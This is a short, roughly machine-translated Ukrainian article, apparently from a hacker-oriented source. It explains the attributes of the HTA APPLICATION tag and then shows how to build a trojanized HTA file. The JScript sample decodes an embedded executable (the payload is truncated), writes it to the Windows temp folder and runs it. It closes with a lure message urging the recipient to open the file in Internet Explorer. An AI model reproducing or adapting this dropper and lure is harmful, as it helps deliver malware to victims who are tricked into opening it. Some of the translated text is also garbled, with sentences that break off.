Атрибути тега APPLICATION
Цей тег не може містити в собі ніяких тегів
тексту, але вимагає закриває тега. Можна писати так:
У тега APPLICATION є досить багато атрибутів, за допомогою
яких встановлюються властивості вікна. Всі вони необов'язкові, і якщо
тобі байдужий вигляд вікна твого додатки, то можеш їх не вказувати. Атрибути доступні з скриптів, що дозволяє змінювати властивості
вікна, згортати / розгортати і т.д. Ось список атрибутів з короткими поясненнями:
applicationName - назва програми
version - його версія
border - тип кордону вікна
borderStyle - стиль кордону
caption - показувати чи заголовок вікна
commandLine - повертає аргументи командного рядка
contextMenu - показувати чи контекстне меню
icon - іконка вікна
innerBorder - внутрішня 3D-рамка
maximizeButton,
minimizeButton,
sysMenu - показувати відповідні кнопки
navigable - відкривати посилання в тому ж вікні
scroll,
scrollFlat - властивості скроллбар
selection - вирішувати виділення
showInTaskBar - show in taskbar
singleInstance - тільки один екземпляр може бути запущений
windowState - стан вікна
Отже, алгоритм, який потрібно реалізувати в скрипті, такий:
1) Розкодувати вміст файлу
2) Записати його
3) Запустити
Отже, затрояненний HTA-файл може виглядати приблизно так.
code = "MZ% 90% 00% 03% 00% 00% 00% 04 ......«; // Закодований троян
var fso = new ActiveXObject ( «Scripting.FileSystemObject»);
var tf = fso.GetSpecialFolder (2); // Отримаємо windows \ temp
var fn = tf + «\\ x.exe»; // Додамо ім'я файлу
var a = fso.CreateTextFile (fn, true); // Запишемо в файл тіло трояна
a.Write (unescape (code));
a.Close ();
var WshShell = new ActiveXObject ( «WScript.Shell»);
WshShell.Exec (fn); // Запустимо його
Привіт чувак!
TheBat не вказує картинки, так що відкрий цей файл в Ехплорере.
Покажи цю статтю друзям: